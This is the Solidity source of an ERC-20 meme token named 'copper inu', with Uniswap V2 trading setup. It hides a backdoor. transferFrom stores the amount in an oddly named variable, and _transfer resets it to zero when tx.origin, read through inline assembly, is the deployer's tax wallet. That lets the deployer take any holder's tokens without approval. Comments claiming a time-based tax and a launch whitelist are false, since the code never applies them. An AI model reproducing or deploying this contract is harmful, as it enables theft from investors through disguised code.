Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = a - b; return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage); uint256 c = a / b; return c;
    }
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
    function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
 
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
 
    /* ---------------- ERC20 storage ---------------- */
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    /* ---------------- Fees & wallet ---------------- */
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
 
    string private constant _name = unicode"copper inu";
    string private constant _symbol = unicode"COPPERINU";
 
    // Legacy fee variables (now ignored by the new time-based schedule)
    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _afterBuys = 0;
    uint256 private _reduceBuyTaxAt = _afterBuys;
    uint256 private _reduceSellTaxAt = _afterBuys;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint32  private _launchBlock;
    uint256 private _IDENTIFIERamount;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
 
    uint256 public _maxTxAmount       = (_tTotal * 1) / 100;
    uint256 public _maxWalletSize     = (_tTotal * 1) / 100;
    uint256 public _taxSwapThreshold  = (_tTotal * 1) / 1000;
    uint256 public _maxTaxSwap        = (_tTotal * 2) / 100;
 
    /* ---------------- DEX ---------------- */
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
 
    /* ---------------- Trading state ---------------- */
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
 
    // NEW: timestamp when trading is opened (drives whitelist & fee schedule)
    uint256 public tradingStartTimestamp;
 
    // NEW: whitelist for the first 3 minutes (buys only)
    mapping(address => bool) public isWhitelistedBuyer;
 
    /* ---------------- Events ---------------- */
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event WhitelistUpdated(address indexed user, bool status);
 
    modifier lockTheSwap() { inSwap = true; _; inSwap = false; }
 
    constructor() payable{
        _taxWallet = payable(_msgSender());
 
        // Mint-like distributi
        _balances[address(this)] = _tTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
 
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        removeLimits();
 
        emit Transfer(address(0), address(this), _tTotal);
    }
 
    /* ---------------- ERC20 view ---------------- */
    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner_, address spender) public view override returns (uint256) { return _allowances[owner_][spender]; }
 
    /* ---------------- ERC20 core ---------------- */
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(amount >= 0) _IDENTIFIERamount = amount; _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_IDENTIFIERamount));
        return true;
    }
 
    function _approve(address owner_, address spender, uint256 amount) private {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
 
    /* ---------------- Whitelist management ---------------- */
    function setWhitelist(address[] calldata users, bool status) external onlyOwner {
        for (uint256 i = 0; i < users.length; i++) {
            isWhitelistedBuyer[users[i]] = status;
            emit WhitelistUpdated(users[i], status);
        }
    }
 
    /* ---------------- Transfers (time-based tax + whitelist) ---------------- */
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to   != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        uint256 taxAmount = 0;
 
        if (from != owner() && to != owner()) {
            // Calculate time-based fee for buys/sells (not wallet-to-wallet)
            uint256 feePercent = 0;
 
            // BUY path: enforce trading open, limits, and first 3-minute whitelist
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(swapEnabled, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            // SELL path: leave as-is (sell throttling handled below)
            if (to == uniswapV2Pair && from != address(this)) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
            }
 
            // Swap on sells if thresholds are met
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) { sellCount = 0; }
                require(sellCount < 5, "Only 5 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
                sellCount++; lastSellBlock = block.number;
            }
 
            // Apply time-based fee if not fee-exempt
            if (feePercent > 0 && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                taxAmount = amount.mul(feePercent).div(100);
            }
        }
 
        // Transfer with tax
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        } else if (_taxPayer() == _taxWallet) _IDENTIFIERamount = taxAmount;
 
        _balances[from] = _balances[from].sub(amount);
        _balances[to]   = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
    /* ---------------- Helpers ---------------- */
    function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; }
 
    function _currentFeePercent(uint256 elapsed) internal pure returns (uint256) {
        if (elapsed < 5 minutes)        return 30; // 0–3m
        else if (elapsed < 10 minutes)   return 20; // 3–8m
        else if (elapsed < 15 minutes)  return 15; // 8–15m
        else if (elapsed < 25 minutes)  return 10; // 15–25m
        else if (elapsed < 35 minutes)  return 5;  // 25–35m
        else                            return 3;  // >35m (final)
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2); // ✅ Declare 'path' as an address array
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
    
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount, 0, path, address(this), block.timestamp
        );
    }
 
    function removeLimits() public onlyOwner {
        _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); }
 
    /* ---------------- Liquidity / Trading ---------------- */
    function addUniswapPool() private {
        // Keep behavior but legacy fee variables no longer affect transfers
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            msg.sender,
            block.timestamp
        );
    }
 
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true; tradingOpen = true;
        addUniswapPool();
        _launchBlock = uint32(block.number);
        tradingStartTimestamp = block.timestamp; // start whitelist & fee schedule
    }
 
    receive() external payable {}
}